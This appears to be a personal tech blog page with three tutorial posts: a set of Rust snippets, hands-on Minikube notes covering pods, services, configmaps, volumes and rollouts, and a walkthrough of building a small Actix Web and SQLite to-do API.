namespace:default hello-world-ts-deployment-c881e597
namespace:cert-manager cert-manager
namespace:cert-manager cert-manager-cainjector
namespace:cert-manager cert-manager-webhook
namespace:kube-system local-path-provisioner
namespace:kube-system coredns
namespace:kube-system traefik
namespace:kube-system metrics-server

101 Chunks of Rust

pm@mkz.me (Patrick MARIE) — Tue, 28 Dec 2021 18:31:03 +0100

I’m ~~learning~~ writing more & more rust. But I really lack writing idiomatic code. So, I’ve decided to gather small useful Rust snippets on this page. No particular order, the more I want to write, the more it will be written on it.

Goal: One snippet, one crate/doc page/poc/whatever.

This page was last updated on 2022-01-03 and it is still WIP!

Have fun!

The Snippets Link to heading

Navigating into the command line args Link to heading

use std::env;

fn main() {
    println!("There is {} env.", env::args().len());
    for arg in env::args() {
        println!("- {}", arg);
    }
}

Also, you can check the clap crate.

Filtering numbers Link to heading

use std::env;
use std::str::FromStr;

fn main() {
    let numbers = env::args()
        .skip(1)
        .map(|arg| u64::from_str(&arg))
        .filter(|arg| arg.is_ok())
        .map(|arg| arg.unwrap())
        .collect::<Vec<u64>>();
    println!("{:?}", numbers);
}

The std::str::FromStr trait documentation.

Pretty logging Link to heading

pretty_env_logger is a simple logger built on top of log and that is allowing to write logs using colors.

extern crate pretty_env_logger;
#[macro_use] extern crate log;

fn main() {
    pretty_env_logger::init_timed();
    info!("such information");
    warn!("o_O");
    error!("much error");
}

Don’t forget to use log & pretty_env_logger crates to enable this.

Returning values from a loop Link to heading

fn main() {
    let mut count = 0;

    let result = loop {
        if count == 10 {
            break count * 10;
        }
        count += 1;
    };

    println!("result: {:?}", result);
}

Simple password generator Link to heading

// Don't forget to add the rand crate in Cargo.toml file:
//
// [dependencies]
// rand = "0.8.4"
//
use rand::prelude::*;

fn generate(size: usize) -> String {
    let mut rng = rand::thread_rng();

    let printable_chars = (0x20u8..=0x7e).map(|c| c as char).collect::<Vec<char>>();

    (0..size)
        .map(|_| rng.gen::<usize>() % printable_chars.len())
        .map(|idx| printable_chars[idx])
        .collect()
}

fn main() {
    for _ in 0..32 {
        println!("{}", generate(16));
    }
}

It makes use of the rand crate.

Swapping variables Link to heading

The following snippet will swap 2 variables (which type has Copy trait), and will print their address.

fn swap<T: Copy>(a: &mut T, b: &mut T) {
    let z = *a;

    *a = *b;
    *b = z;
}

fn main() {
    let mut a = 1;
    let mut b = 2;

    println!("ptr: {:p}: val: {} // ptr: {:p}; val: {}", &a, a, &b, b);
    swap(&mut a, &mut b);
    println!("ptr: {:p}: val: {} // ptr: {:p}; val: {}", &a, a, &b, b);
}

The Itertools crate Link to heading

use itertools::Itertools;
use itertools::{merge,partition,zip};

fn main() {
    // Get all permutations
    println!("{:?}", (0..5).permutations(5).collect_vec());

    // Get all uniques
    println!("{:?}", vec![1, 2, 3, 2, 1].iter().unique().collect_vec());

    // combine elements from first array with second's 
    println!("{:?}", vec![0, 1, 2].iter().zip(vec![4, 5, 6]).collect_vec());
    println!("{:?}", zip(vec![0, 1, 2], vec![0, 1, 2]).collect_vec());

    // partition elements of array into 2.
    let mut l = vec![1, 2, 3, 4, 5, 6];
    partition(&mut l, |z| { z % 2 == 0 });
    println!("{:?}", l); // [6, 2, 4, 3, 5, 1]

    // merge two array into an iterator
    println!("{:?}", merge(&[0, 1, 2], &[4, 5, 6]).collect_vec()); // [0, 1, 2, 4, 5, 6]
    println!("{:?}", merge(&[0, 1, 2], &[0, 1, 2]).collect_vec()); // [0, 0, 1, 1, 2, 2]
}

Check the itertools functions & itertools trait.

Implementing Display & FromStr traits Link to heading

use std::str::FromStr;
use std::num::ParseIntError;
use std::fmt;

#[derive(Debug)]
struct Point {
    x: i32,
    y: i32,
}

impl fmt::Display for Point {
    fn fmt(&self, f: &mut fmt::Formatter) -> fmt::Result {
        write!(f, "P <{},{}>", self.x, self.y)
    }
}

impl FromStr for Point {
    type Err = ParseIntError;

    fn  from_str(s: &str) -> Result<Self, Self::Err> {
        let parts = s.split(",")
            .collect::<Vec<&str>>()
            .iter().map(|&x| x.parse::<i32>().unwrap())
            .collect::<Vec<i32>>();

        Ok(Self {
            x: parts[0],
            y: parts[1],
        })
    }
}

fn main() {
    let p: Point = Point::from_str("-1,-1").unwrap();
    println!("{}", p);
}

As seen as on Rust By Example (Display of official doc); FromStr.

Testing out Iterator traits Link to heading

use rand::Rng;

#[derive(Clone, Copy, Debug)]
struct Random {
}

impl Iterator for Random {
    type Item = u32;

    fn next(&mut self) -> Option<Self::Item> {
        let n = rand::thread_rng().gen::<u32>();
        if n % 100 == 0 {
            None
        } else {
            Some(n)
        }
    }
}

fn main() {
    let random_numbers = Random{};

    for v in random_numbers {
        println!("- {}", v);
    }

    println!("There is {} elements in this run.", random_numbers.count());
}

The Iterator trait documentation. Rust By Example’s.

Generic structures & enums Link to heading

struct Testaroo<T> {
    val0: T,
}

enum MyOption<T> {
    None,
    Some(Testaroo<T>)
}

fn main() {
    // All the following code is valid and can be used as it!
    let _ = Testaroo{ val0: "a" };
    let _ : Testaroo<u64> = Testaroo{ val0: 42 };
    let _ = Testaroo{ val0: 0.0 };

    let _ : MyOption<bool> = MyOption::None;
    let _ = MyOption::Some(Testaroo{ val0: true });
}

Arrays, vec & slices Link to heading

fn main() {
    let array : [u32; 4] = [1, 2, 3, 4];
    let array_vec = array.to_vec();
    let slice0 = &array[2..=3];
    let slice1 = &array_vec[1..=2];

    // Outputs: array:[1, 2, 3, 4] vec:[1, 2, 3, 4] slice:[3, 4] slice:[2, 3]
    println!("array:{:?} vec:{:?} slice:{:?} slice:{:?}",
        array, array_vec, slice0, slice1);

    // auto-filled array declaration:
    let vbool = [false; 100];

    let vec: Vec<u32> = Vec::with_capacity(256);
    println!("len:{} capacity:{}", vec.len(), vec.capacity());

    let s0: &[bool] = &vbool;
    println!("len:{}", s0.len());

    let print = |n: &[bool]| {
        for el in n {
            println!("{:?}", el);
        }
    };

    print(s0); // This will write a lot of "false".
    print(&s0[..42]); // First 42 elements
    print(&s0[99..]); // last element
}

More about arrays, slices & Vec.

String to bytes array to &str Link to heading

fn main() {
    let s: &str = "新年快乐";
    println!("{}", s);
    let s: String = s.to_string(); // this copies the string

    println!("len: {} chars: {}", s.len(), s.chars().count());

    let s: &[u8] = &s.as_bytes(); // convert to bytes

    println!("{}", String::from_utf8(s.to_vec()).unwrap()); // output: 新年快乐

    let elements = ["a", "b", "c", "d"];
    println!("{}", elements.concat()); // output: abcd
    println!("{}", elements.join(", ")); // output: a, b, c, d

    println!("{}", elements.concat().to_uppercase()); // output: ABCD
    println!("{}", elements.join(", ").replace(",", ";")); // output: "A; B; C; D"
    println!("{}", String::from("\n  A  \n").trim()); // output: "A"
}

The Uuid crate Link to heading

// Don't forget to add in Cargo.toml:
// uuid = { version = "0.8.2", features = ["v4", "v5"] }
use uuid::Uuid;

fn main() {
    let uuid = Uuid::new_v4();
    println!("{:?}", uuid.to_urn());

    // Doing some conversion
    println!("{:?}", uuid.as_bytes());
    let uuid = Uuid::from_bytes(*uuid.as_bytes());
    println!("{:?}", uuid.to_urn());


    let uuid = Uuid::new_v5(
        &Uuid::NAMESPACE_URL,
        "example.org".as_bytes(),
    );
    println!("{:?}", uuid.to_urn());
}

Anyhow Link to heading

Sometimes, handling errors in rust can be boring due to the type the error can be. There is a set of different crates to make this easier, and anyhow is one of them:

use anyhow::Result;

fn main() -> Result<()> {
    let contents = std::fs::read_to_string("test")?;
    println!("{:?}", contents);

    Ok(())
}

All the crates Link to heading

anyhow: Flexible error type;
clap: Command line argument parser;
itertools: Extra iterator adaptors, functions and macros;é
pretty_env_logger: Simple logger built on top of env_logger, configurable via environment variables & writing nice colored messages depending their log levels;
rand: Random number generation, with quite some useful features.
uuid: Generate and parse UUIDs.

Playing With Minikube

pm@mkz.me (Patrick MARIE) — Wed, 01 Dec 2021 20:38:20 +0100

Hello World. Today I’ll play with minikube. I never done that before, as I’m not a daily kubernetes user at all & needed a refresh.

Goal of this mini-tutorial/notes is to:

Install & run minikube;
Starts a few deployment;
Expose the service in & outside the cluster;
Add some configuration;
Add persistent volumes;
Play a bit with deployments.

Installation Link to heading

Check how to install minikube. Download the minikube binary, the kubectl one, check you can use kvm2 as a driver (you don’t want to start kubernetes in a docker container, right? Right?). And that’s it:

❯ minikube status
🤷  Profile "minikube" not found. Run "minikube profile list" to view all profiles.
👉  To start a cluster, run: "minikube start"

Launch the cluster! Link to heading

… and don’t forget to specify the driver you want to use:

❯ minikube start --driver kvm2
😄  minikube v1.24.0 on Fedora 35
✨  Using the kvm2 driver based on user configuration
👍  Starting control plane node minikube in cluster minikube
🔥  Creating kvm2 VM (CPUs=2, Memory=6000MB, Disk=20000MB) ...
🐳  Preparing Kubernetes v1.22.3 on Docker 20.10.8 ...
    ▪ Generating certificates and keys ...
    ▪ Booting up control plane ...
    ▪ Configuring RBAC rules ...
🔎  Verifying Kubernetes components...
    ▪ Using image gcr.io/k8s-minikube/storage-provisioner:v5
🌟  Enabled addons: storage-provisioner, default-storageclass
🏄  Done! kubectl is now configured to use "minikube" cluster and "default" namespace by default

~ took 40s 

❯ minikube ssh uptime
 19:48:30 up 2 min,  0 users,  load average: 1.32, 0.48, 0.18

… and as minikube is great, it also configured kubectl so the “cluster” can be used out of the box:

❯ kubectl get pods -A
NAMESPACE     NAME                               READY   STATUS    RESTARTS        AGE
kube-system   coredns-78fcd69978-6q8c9           1/1     Running   0               3m14s
kube-system   etcd-minikube                      1/1     Running   0               3m27s
kube-system   kube-apiserver-minikube            1/1     Running   0               3m29s
kube-system   kube-controller-manager-minikube   1/1     Running   0               3m27s
kube-system   kube-proxy-lmcp8                   1/1     Running   0               3m15s
kube-system   kube-scheduler-minikube            1/1     Running   0               3m27s
kube-system   storage-provisioner                1/1     Running   1 (3m10s ago)   3m26s

First pod Link to heading

Well. The cluster is now up. kubectl is correctly configured and can join the cluster. Now, lets create our first app.

The pod deployment file looks like

apiVersion: v1
kind: Pod
metadata:
  name: noop
spec:
  containers:
  - name: alpine
    image: alpine:3.15
    command: ["sh", "-c", "while true; do sleep 3600; done"]

Deploying the pod is as simple as deploying the yaml file:

❯ kubectl apply -f configs/000-noop.yaml
pod/noop created

… and this is it, the app is just running:

❯ kubectl get pods
NAME     READY   STATUS    RESTARTS   AGE
noop   1/1     Running   0          10m

❯ kubectl get pods -o wide
NAME     READY   STATUS    RESTARTS   AGE   IP           NODE       NOMINATED NODE   READINESS GATES
noop   1/1     Running   0          10m   172.17.0.3   minikube   <none>           <none>

You can then check what’s running in the container:

❯ kubectl exec -ti noop -- ps auxw
PID   USER     TIME  COMMAND
    1 root      0:00 sh -c while true; do sleep 3600; done
    7 root      0:00 sleep 3600
   31 root      0:00 ps auxw

What is now I just wanted to start nginx but don’t have the time to write the yaml? Well, lets create a deployment. And dump the deployment as a configuration file:

❯ kubectl create deployment nginx --image=nginx
deployment.apps/nginx created

❯ kubectl get deploy nginx -o yaml
apiVersion: apps/v1
kind: Deployment
metadata:
  annotations:
    deployment.kubernetes.io/revision: "1"
  creationTimestamp: "2021-12-01T20:31:09Z"
  generation: 1
  labels:
    app: nginx
  name: nginx
  namespace: default
  resourceVersion: "2389"
  uid: e3775bea-68e8-47a2-a386-8bb44185bd95
spec:
  progressDeadlineSeconds: 600
  replicas: 1
  revisionHistoryLimit: 10
  selector:
    matchLabels:
      app: nginx
  strategy:
    rollingUpdate:
      maxSurge: 25%
      maxUnavailable: 25%
    type: RollingUpdate
  template:
    metadata:
      creationTimestamp: null
      labels:
        app: nginx
    spec:
      containers:
      - image: nginx
        imagePullPolicy: Always
        name: nginx
        resources: {}
        terminationMessagePath: /dev/termination-log
        terminationMessagePolicy: File
      dnsPolicy: ClusterFirst
      restartPolicy: Always
      schedulerName: default-scheduler
      securityContext: {}
      terminationGracePeriodSeconds: 30
status:
  availableReplicas: 1
  conditions:
  - lastTransitionTime: "2021-12-01T20:31:19Z"
    lastUpdateTime: "2021-12-01T20:31:19Z"
    message: Deployment has minimum availability.
    reason: MinimumReplicasAvailable
    status: "True"
    type: Available
  - lastTransitionTime: "2021-12-01T20:31:09Z"
    lastUpdateTime: "2021-12-01T20:31:19Z"
    message: ReplicaSet "nginx-6799fc88d8" has successfully progressed.
    reason: NewReplicaSetAvailable
    status: "True"
    type: Progressing
  observedGeneration: 1
  readyReplicas: 1
  replicas: 1
  updatedReplicas: 1

Well, that’s quite a big output. But we found again our pod description.

Accessing the pod from the cluster using ClusterIP service. Link to heading

To allow accessing container ports, it is required to use services. There is multiple kind of services, and the first one I used was ClusterIP, which allows binding a port for the service in the cluster. What does that mean? It means the following deployment will bind the port 8123 to nginx (that’s the service name, not the container’s!) in the cluster:

apiVersion: v1
kind: Service
metadata:
  name: nginx
spec:
  ports:
  - port: 8123 # Port exposed in cluster
    targetPort: 80 # Port inside container
    protocol: TCP
  selector:
    app: nginx

Note the selector which allows selecting the target of our service (by its label). We then are able to query the service:

❯ kubectl exec -ti noop -- wget http://nginx:8123/ -O - -q
<!DOCTYPE html>
<html>
<head>
<title>Welcome to nginx!</title>
...

After use, we can delete the service by using kubectl delete svc nginx:

❯ kubectl delete svc nginx
service "nginx" deleted

Accessing the pod from outside the cluster using NodePort service. Link to heading

After ClusterIP, next thing to try is NodePort. Consider the new service:

apiVersion: v1
kind: Service
metadata:
  name: nginx
spec:
  ports:
  - port: 8123 # Port exposed in cluster
    targetPort: 80 # Port inside container
    protocol: TCP
    nodePort: 31234
  selector:
    app: nginx
  type: NodePort

Warning: As it uses the same name that our older service, it will replace it.

This configuration will bind the node port 31234. You’ll be then be able to reach the nginx server just by going to minikube VM’s port directly:

❯ minikube ssh curl http://localhost:31234/
<!DOCTYPE html>
<html>
<head>
<title>Welcome to nginx!</title>
...

You can also take a look at LoadBalancer if you want to continue service tests. In the minikube context, it doesn’t make much sense as we only have one working node.

Viewing the kubernetes state with dashboard Link to heading

Well, command line is OK, but more viz can be better. minikube provides the nice dashboard add-ons. Just invoke it & it will pop up in your browser:

❯ minikube dashboard

Using a basic configuration Link to heading

It is possible to append some configuration bits using configMaps, using environment variables or configuration files.

First, create a configmap:

apiVersion: v1
kind: ConfigMap
metadata:
  name: testaroo-config
data:
  testaroo: "1"
  testaroo.properties: |
    this is a text file with properties
    in multiple lines in it. Thats cool

Then, use it the way you need (either by just adding environment variables or mounting the configuration in the container):

apiVersion: v1
kind: Pod
metadata:
  name: nginx
  labels:
    app: nginx
spec:
  containers:
  - name: nginx
    image: nginx:1.21
    env:
      - name: TESTAROO
        valueFrom:
          configMapKeyRef:
            name: testaroo-config
            key: testaroo
    volumeMounts:
      - name: config
        mountPath: "/config"
        readOnly: true
  volumes:
    - name: config
      configMap:
        name: testaroo-config
        items:
          - key: "testaroo.properties"
            path: "testaroo.properties"

Redeploy, then check:

❯ kubectl exec -ti nginx -- env | grep -i testaroo
TESTAROO=1

❯ kubectl exec -ti nginx -- cat /config/testaroo.properties
this is a text file with properties
in multiple lines in it. Thats cool

Creating some persistent volumes, and using it in containers Link to heading

One another thing that can be done is to create persistent volume that will be re-used accross pods restarts.

You’ll need first to create a PersistentVolume:

apiVersion: v1
kind: PersistentVolume
metadata:
  name: pv0001
spec:
  accessModes:
    - ReadWriteOnce
  capacity:
    storage: 5Gi
  hostPath:
    path: /data/pv0001
---

As we’re building a Persistent volume using a new directory inside the minikube VM, don’t forget to actually create the directory:

❯ minikube ssh sudo 'mkdir /data/pv0001'

… and then use it in the pod, by mounting it. I’ll be using another nginx pod for this:

apiVersion: v1
kind: Pod
metadata:
  name: nginx-pv
  labels:
    app: nginx-pv
spec:
  volumes:
    - name: storage-pv
      hostPath:
        path: /data/pv0001
  containers:
    - name: task-pv-container
      image: nginx
      ports:
        - containerPort: 80
          name: "http-server"
      volumeMounts:
        - mountPath: "/usr/share/nginx/html"
          name: storage-pv
---
apiVersion: v1
kind: Service
metadata:
  name: nginx-pv
spec:
  ports:
  - port: 8111 # Port exposed in cluster
    targetPort: 80 # Port inside container
    protocol: TCP
    nodePort: 31111
  selector:
    app: nginx-pv
  type: NodePort
---

I’ve also set up another NodePort service to be able to reach the pod.

Well, the only remaining thing to do is to deploy this new configuration:

❯ kubectl apply -f configs/004-volumes.yaml 
persistentvolume/pv0001 created
pod/nginx-pv created
service/nginx-pv created

After a few seconds, lets check the pv status:

❯ kubectl get pv
NAME     CAPACITY   ACCESS MODES   RECLAIM POLICY   STATUS      CLAIM   STORAGECLASS   REASON   AGE
pv0001   5Gi        RWO            Retain           Available                                   35s

❯ kubectl get pod
NAME                     READY   STATUS    RESTARTS   AGE
nginx-pv                 1/1     Running   0          39s

Everything seems fine. Our pv is tied to host’s /data/pv0001, which means if we add data in that, it should be appearing in our pod. Let’s check that:

❯ kubectl exec -ti nginx-pv -- ls -ltra /usr/share/nginx/html
total 8
drwxr-xr-x 3 root root 4096 Dec 21 03:00 ..
drwxr-xr-x 2 root root 4096 Dec 21 16:53 .

Everything is empty so far. Let’s create some file in it:

❯ kubectl exec -ti nginx-pv -- sh
# date > /usr/share/nginx/html/date.txt
# cat /usr/share/nginx/html/date.txt
Tue Dec 21 16:54:45 UTC 2021

As the NodePort service is here, we can check the file by just doing a simple curl query:

❯ minikube ssh curl http://localhost:31111/date.txt
Tue Dec 21 16:54:45 UTC 2021

Now, remove the nginx-pv pod & recreate it (& I should eventually use deployments to do this). And the end, verify if the file still here or not:

❯ kubectl delete pod nginx-pv --force
pod "nginx-pv" force deleted

❯ kubectl apply -f configs/004-volumes.yaml
persistentvolume/pv0001 unchanged
pod/nginx-pv created
service/nginx-pv unchanged

❯ minikube ssh curl http://localhost:31111/date.txt
Tue Dec 21 16:54:45 UTC 2021

Deployments Link to heading

Last important thing but actually not the least, are the deployments. They can be used to scale, rollout updates, and so.

apiVersion: apps/v1
kind: Deployment
metadata:
  name: nginx-deployment
  labels:
    app: nginx
spec:
  replicas: 3
  selector:
    matchLabels:
      app: nginx
  template:
    metadata:
      labels:
        app: nginx
    spec:
      containers:
      - name: nginx
        image: nginx:latest
        ports:
        - containerPort: 80

This deployment contains 3 replicas of our nginx container. Like any other configuration files we wrote until now, it can be deployed with kubectl apply:

❯ kubectl apply -f configs/005-deploy.yaml 

❯ kubectl get deployment
NAME               READY   UP-TO-DATE   AVAILABLE   AGE
nginx-deployment   3/3     3            3           55s

❯ kubectl get pod 
NAME                               READY   STATUS    RESTARTS   AGE
nginx-deployment-585449566-sm2l9   1/1     Running   0          63s
nginx-deployment-585449566-wkzgn   1/1     Running   0          63s
nginx-deployment-585449566-xptl9   1/1     Running   0          63s
noop                               1/1     Running   0          28h

Rescale deployment Link to heading

We’re going from 3 to 2 replicas:

❯ kubectl scale deploy nginx-deployment --replicas=2
deployment.apps/nginx-deployment scaled

❯ kubectl get deployment
NAME               READY   UP-TO-DATE   AVAILABLE   AGE
nginx-deployment   2/2     2            2           2m15s

Config rollout Link to heading

What if we want to change our container configuration ? Well, edit the deployment & apply!

...
      containers:
      - name: nginx
        image: nginx:1.20.2
...

Then go & deploy:

❯ kubectl apply -f configs/005-deploy.yaml 
deployment.apps/nginx-deployment configured

❯ kubectl get pod 
NAME                                READY   STATUS              RESTARTS   AGE
nginx-deployment-585449566-sm2l9    1/1     Running             0          4m28s
nginx-deployment-585449566-wkzgn    1/1     Terminating         0          4m28s
nginx-deployment-6b7f76486d-blxhf   1/1     Running             0          4s
nginx-deployment-6b7f76486d-bx5fp   0/1     ContainerCreating   0          1s
nginx-deployment-6b7f76486d-dwxjf   1/1     Running             0          11s
noop                                1/1     Running             0          28h

❯ kubectl describe pod nginx-deployment-6b7f76486d-bx5fp|grep Image
    Image:          nginx:1.20.2
    Image ID:       docker-pullable://nginx@sha256:03f3cb0afb7bd5c76e01bfec0ce08803c495348dccce37bcb82c347b4853c00b

During the rollout, the newer pods will be created one by one, while the older ones will be terminated once newer pods are ready.

If you’re too lazy, you can also change directly the image on CLI:

❯ kubectl set image deployment nginx-deployment nginx=nginx:latest
deployment.apps/nginx-deployment image updated

❯ kubectl get pods
NAME                                READY   STATUS              RESTARTS   AGE
nginx-deployment-585449566-7dljw    1/1     Running             0          7s
nginx-deployment-585449566-k47tb    1/1     Running             0          4s
nginx-deployment-585449566-srqj5    0/1     ContainerCreating   0          1s
nginx-deployment-6b7f76486d-bx5fp   1/1     Running             0          3m12s
nginx-deployment-6b7f76486d-dwxjf   1/1     Terminating         0          3m22s
noop                                1/1     Running             0          28h

What if something goes wrong? You can revert the rollout to a former version!

❯ kubectl rollout history deploy nginx-deployment
deployment.apps/nginx-deployment 
REVISION  CHANGE-CAUSE
2         <none>
3         <none>

❯ kubectl rollout undo deploy nginx-deployment --to-revision=2
deployment.apps/nginx-deployment rolled back

❯ kubectl describe deploy nginx-deployment|grep Image
    Image:        nginx:1.20.2

We went from 1.20.2 to latest into revision 3. Going back to revision 2 will revert the change and now we’re back to former nginx version!

Well, I’m done for today. In this new tutorial, I’ve rediscover kubernetes using minikube, and how to perform basic deployment & configuration tasks. There is still a lot to cover, but my goal with this was to start to learn again this orchestration tool.

All configuration files are here on github.

Resources Link to heading

Building a Simple Webapi Using Actix

pm@mkz.me (Patrick MARIE) — Mon, 22 Nov 2021 11:32:13 +0100

In this short tutorial, I’ll give some bits to build a small but complete web API using Rust & Actix Web. My goal with this was to build a sample to-do application from scratch, and scratch the surface of async, web related crates & sql related ones.

I’ll be most likely using official documentation (though it is kinda outdated and would need a serious refresh in my opinion), which means serde, r2d2, pretty_env_logger, failure crates will be used in this.

Deploy the tutorial app Link to heading

Firstly, we begin with starting a brand new project & tries the first tutorial sample. I’ll name the project augias, related to this king in the greek mythology for his infamous stables. My to-do list is most likely in the same shape of the stables.

$ cargo new augias && cd augias
    Created binary (application) `augias` package

After adding actix-web to Cargo.toml, file will look like:

[dependencies]
actix-web = "3"

And we’ll use at first the “Get Started” sample code. I’ve added some comments inline.

use actix_web::{web, App, HttpRequest, HttpServer, Responder};

// An handler is async and can return any object that implements the Responder trait. 
async fn greet(req: HttpRequest) -> impl Responder {
    let name = req.match_info().get("name").unwrap_or("World");
    format!("Hello {}!", &name)
}

// actix is async.
#[actix_web::main]
async fn main() -> std::io::Result<()> {
    HttpServer::new(|| {
        App::new()
            // Add a new route for "get" method handled by the "greet" handler.
            .route("/", web::get().to(greet))
            .route("/{name}", web::get().to(greet))
    })
    // bind localhost/8080 ports
    .bind(("127.0.0.1", 8080))?
    // run & await
    .run()
    .await
}

See Responder trait

Preparing & using the database backend Link to heading

The API will do 2 things (for now): Insert tasks & retrieve them. It is so required to define 2 functions to handle the database needs: One for inserting, one for retrieving them all.

Database connections will use r2d2 crate. I’ll be using r2d2_sqlite & failure for making a bit easier error management, and start by creating the database:

$ sqlite3 tasks.db
sqlite> create table tasks(name varchar(32) PRIMARY KEY, content text);
sqlite> insert into tasks(name, content) values('first task', 'this is the content of my first task');
sqlite> select * from tasks;
first task|this is the content of my first task
sqlite>

Then we add a first function to retrieve the tasks:

use failure::Error;

use r2d2::PooledConnection;
use r2d2_sqlite::SqliteConnectionManager;

type DbPool = PooledConnection<SqliteConnectionManager>;

pub fn get_all_tasks(conn: &DbPool) -> Result<Vec<String>, Error> {
    let mut stmt = conn.prepare("SELECT name FROM tasks")?;

    let tasks = stmt.query_map([], |row| {
        row.get(0)
    })?;

    Ok(tasks.into_iter().map(Result::unwrap).collect())
}

Function get_all_tasks is either returning an Error or fetches all tasks names into an array. Once this done, we need to adapt the main module to handle database connection:

use r2d2::Pool;
use r2d2_sqlite::SqliteConnectionManager;

mod db;

// list is a new web handler. It includes the data structure passed thanks to the .data call
// in the App::new() statement in the main function.
async fn list(data: web::Data<Pool<SqliteConnectionManager>>, _req: HttpRequest) -> impl Responder {
    let conn = data
        .get()
        .expect("couldn't get db connection from pool");

    // It is required to use web::block here to make sure the database call, which is not an async call,
    // is not done in the general context
    let pages_res = web::block(move || db::get_all_tasks(&conn))
        .await;

    // Returns the result in json format
    match pages_res {
        Ok(pages) => HttpResponse::Ok().json(pages),
        Err(_err) => {
            HttpResponse::InternalServerError().finish()
        }
    }
}

#[actix_web::main]
async fn main() -> std::io::Result<()> {
    // Prepare the database access connections pool
    let db_manager = SqliteConnectionManager::file("tasks.db");

    let db_pool = Pool::builder()
        .build(db_manager)
        .expect("Failed to create pool.");

    // "move" was added here to pass the db_pool ownership
    HttpServer::new(move || {
        App::new()
            // cloning the pool here, as it doesn't implement copy.
            .data(db_pool.clone())
            // updating the handler to target our new "list" handler
            .route("/", web::get().to(list))
    })
    .bind(("127.0.0.1", 8080))?
    .run()
    .await
}

What changed here:

We added required crate usage for r2d2 & r2d2_sqlite, and a reference the the db module that contains our database functions;
We created a web handler that would retrieve the tasks;
We created a db connection handler pool & passing it to the web app.

After a build & a run, the first iteration of our web application is now correctly running. We can verify that by using HTTPie:

$ http "http://localhost:8080/"
HTTP/1.1 200 OK
content-length: 28
content-type: application/json
date: Mon, 22 Nov 2021 11:37:22 GMT

[
    "first task",
]

Adding tasks Link to heading

Next is to create a way of adding new tasks. First, we add pretty_env_logger & serde_derive crates as we now want better log messages & will need a way to parse inputs. The Cargo.toml now looks like:

[dependencies]
actix-web = "3"
failure = "0.1.8"
log = "0.4.14"
pretty_env_logger = "0.4.0"
r2d2 = "0.8.9"
r2d2_sqlite = "0.19.0"
serde = "1.0.130"
serde_derive = "1.0.130"

Our db.rs module get expanded with a new add_task function:

type DbPool = PooledConnection<SqliteConnectionManager>;

pub fn add_task(conn: &DbPool, name: &str, content: &str) -> Result<bool, Error> {
    match conn.execute(
        "INSERT INTO tasks(name, content) VALUES (?, ?);",
        [name, content],
    ) {
        Ok(_x) => {
            info!("Creating new task '{}'", name);
            Ok(true)
        }
        Err(err) => {
            error!("Error: {:?}", err);
            Err(Error::from(err))
        }
    }
}

Note that we’re making use of log’s info! & error! without defining any crate using it. This is done in the root module of the project, meaning main.rs:

// ... snip ...
use serde_derive::Deserialize;

extern crate pretty_env_logger;
#[macro_use] extern crate log;

// ... snip ...

#[derive(Deserialize)]
struct NewFormData {
    name: String,
    content: String,
}

async fn add(form: web::Form<NewFormData>, data: web::Data<Pool<SqliteConnectionManager>>) -> impl Responder {
    let conn = data
        .get()
        .expect("couldn't get db connection from pool");

    info!("Adding new task {}", form.name);

    let task_res = web::block(move || {
            db::add_task(&conn, &form.name, &form.content)
        })
        .await;

    match task_res {
        Ok(_res) => {
            HttpResponse::Ok().json("Created a new task")
        },
        Err(_res) => {
            HttpResponse::Conflict().json("Could not create new task")
        }
    }
}

// ... snip ...

#[actix_web::main]
async fn main() -> std::io::Result<()> {
    pretty_env_logger::init();

// ... snip ...

            .route("/", web::get().to(list))
            .route("/add", web::post().to(add))
    })

// ... snip ...

A log of code was added here! Let’s debrief what was added:

We added the serde_derive & log crates & macros. We need serde_derive to understand the request body when adding tasks (see the NewFormData structure).
The add handler was added. Like the former list handler, we’re retrieve the db connection, then add the task in a web::block call, moving in it our form contents, then check the result & return a status.
Finally, in the main function, we initialize the pretty_env_logger, then we added the new /add POST API endpoint.

Trying it:

$ http --form http://localhost:8080/add "name=second_task" "content=This is another task"
HTTP/1.1 200 OK
content-length: 20
content-type: application/json
date: Mon, 22 Nov 2021 12:14:45 GMT

"Created a new task"

In the cargo run console, the log messages started to appear as well:

$ RUST_LOG="warn,augias=trace" cargo run
   Compiling augias v0.1.0 (/home/mycroft/tmp/augias)
    Finished dev [unoptimized + debuginfo] target(s) in 4.02s
     Running `target/debug/augias`
 INFO  augias > Adding new task second_task
 INFO  augias::db > Creating new task 'second_task'

If we retry to create a task with the same name, it will fail because of the PRIMARY KEY on the name column:

$ http --form http://localhost:8080/add "name=second_task" "content=This is another task"
HTTP/1.1 409 Conflict
content-length: 27
content-type: application/json
date: Mon, 22 Nov 2021 12:21:38 GMT

"Could not create new task"

Again, we got some new error message:

 INFO  augias     > Adding new task second_task
 ERROR augias::db > Error: SqliteFailure(Error { code: ConstraintViolation, extended_code: 1555 }, Some("UNIQUE constraint failed: tasks.name"))

Deleting a single task Link to heading

Okay, we can read tasks, we can add some. Last action I wanted to add is to delete a task. Let’s prepare our DB function first:

pub fn delete_task(conn: &DbPool, name: &str) -> Result<bool, Error> {
    match conn.execute(
        "DELETE FROM tasks WHERE name = ?",
        params![name],
    ) {
        Ok(deleted) => {
            info!("Delete execution returned {}", deleted);
            Ok(deleted == 1)
        },
        Err(err) => {
            error!("Delete returned an error: {:?}", err);
            Err(Error::from(err))
        }
    }
}

Nothing really new here, as it is pretty similar to the INSERT query above.

Then, let’s add our new web handler & route it in the web app:


// ... snip ...

async fn delete(req: HttpRequest, data: web::Data<Pool<SqliteConnectionManager>>) -> impl Responder {
    // We retrieve the the name from the request url:
    let name = req.match_info().get("name");
    let conn = data
        .get()
        .expect("couldn't get db connection from pool");

    if let None = name {
        return HttpResponse::NotFound().body("Could not find task");
    }

    // We "copy" the name, as the HttpRequest may disappear.
    let deleted_name = name.unwrap().to_string();
    warn!("Deleting task '{}'", deleted_name);

    let task_res = web::block(move || {
            db::delete_task(&conn, &deleted_name)
        })
        .await;

    match task_res {
        Ok(res) => {
            if res {
                HttpResponse::Ok().json("done")
            } else {
                HttpResponse::NotFound().body("could not delete task")
            }
        },
        Err(_res) => HttpResponse::Conflict().json("An error happened"),
    }
}

// ... snip ...

            .route("/add", web::post().to(add))
            // This new route is add a path parameter named name:
            .route("/{name}/delete", web::delete().to(delete))
    })

// ... snip ...

And when testing:

$ http DELETE http://localhost:8080/second_task/delete
HTTP/1.1 200 OK
content-length: 6
content-type: application/json
date: Mon, 22 Nov 2021 12:42:59 GMT

"done"

$ http DELETE http://localhost:8080/second_task/delete
HTTP/1.1 404 Not Found
content-length: 21
date: Mon, 22 Nov 2021 12:43:01 GMT

could not delete task

$ http http://localhost:8080/
